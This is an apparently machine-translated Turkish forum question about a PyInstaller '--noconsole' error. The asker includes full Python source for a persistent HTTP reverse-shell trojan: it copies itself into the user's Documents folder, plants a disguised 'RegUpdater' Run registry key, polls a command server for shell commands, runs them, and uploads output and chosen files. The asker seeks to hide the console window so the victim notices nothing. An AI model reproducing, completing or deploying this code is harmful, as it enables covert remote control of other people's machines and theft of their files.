Pyinstaller --noconsole seçeneğiyle "betiği yürütemedi" hatası


0

Tüm Pyinstaller'ın hata ayıklama adımlarından geçtim ve istememin sonunda buradayım, bu yüzden buna dönüyorum.

Bazı basit özel pentesting araçları yazarak Python3'e geçiş yapmaya çalışıyorum ve şu anda kalıcı bir HTTP ters kabuk trojan yazıyorum. Kodun tamamı aşağıdadır:

import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('\n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('\n\r')) + '\\Documents\\' + 'persistence.exe'

if not os.path.exists(destination):
    shutil.copyfile(path + '\persistence.exe', str(destination))
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
    key.Close()

while True:
    req = requests.get('http://192.168.0.10')
    command = req.text

    if "terminate" in command:
        break
    elif 'grab' in command:
        grab,path = command.split(" * ")
        if os.path.exists(path):
            url = 'http://192.168.0.10/store'
            files = {'file': open(path, 'rb'),'path': path}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

    time.sleep(3)

Bu script python yorumlayıcısı ile çalıştırıldığında iyi çalışıyor; HTTP GET isteğini kullanarak farklı bir makinedeki sunucuya geri bağlanır ve kendisini kalıcı olarak çalıştırmak için bir Çalıştırma anahtarı ayarlarken kullanıcının Belgesi klasörüne yükler. Komutlar daha sonra sunucu tarafında çalıştırılabilir ve çıkış POST istekleri yoluyla iletilir.

Açıkçası, bunu gerçek bir truva atı yapmak için bağımsız bir EXE olarak derlemek istiyorum. Bunu Pyinstaller'ın belgelerinde belirtilen şekilde aşağıdaki komutla yapabilirim:

pyinstaller --onefile persistence.py

Bu gayet iyi çalışıyor, script bir terminalden çalıştırıldığında veya tıklandığında önceki gibi hatasız çalışıyor. Ne yazık ki, aynı zamanda kaçırılması mümkün olmayan boş bir terminal penceresi açar; Açıkçası, bu bir trojan için istenmeyen bir özelliktir. Kullanıcıyı ekranındaki başka bir pencereyle yüklemek istemem!

Devamındaki meli Konsol penceresinin açılmasını engelle:

pyinstaller --onefile --noconsole persistence.py

Bu komut hatasız bir şekilde tamamlanır, ancak bu sefer komut dosyası çalışmayacaktır. Ne zaman çalıştırılsa, tıklatılsa veya terminalden çalıştırılsa da, "Komut dosyası kalıcılığı çalıştırılamadı" diyen bir pencere açılır.

Bunu düzeltmek için çok miktarda hata ayıklama denedim. - debdeb komutuna tüm hata ayıklama işlemi, ayırt edebileceğim herhangi bir yararlı bilgi sağlamıyor gibi görünüyor. Tamamen Google’dan ve Pyinstaller’ın sorunları aracılığıyla bulundum ve alt işlem modülüyle ilgili bir sorun olduğunu ve STDIN ve STDOUT’un nasıl işlendiğini belirten çok fazla şey gördüm, ancak komut dosyası ve alt işlemle hiçbir ilgisi yok. Popen çağrıları (STDIN, STDOUT ve STDERR yönlendiriliyor) bu sorunu çözüyor gibi görünüyor. Her zaman "betiği yürütemedi" ibaresini atan bir yürütülebilir dosyayla bitirdim.

Pyinstaller'ın şu anki sürümünü çalıştırıyorum, paketlemeden denedim (zar yok) ve hatta betiğin içindeki konsol penceresini manuel olarak kaldırmayı bile başaramadım.

Bu yüzden size dönüyorum beyler. Herhangi bir fikir? Zaman ayırdığınız için çok teşekkür ederiz ve daha fazla bilgiye ihtiyacınız olursa haberim olsun !!


Sorunu kendim çözdüm! Bu sayfadaki tavsiyeyi biraz daha yakından takip etmem gerektiğine neden oldu: github.com/pyinstaller/pyinstaller/wiki/Recipe-subprocess
Ruri
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.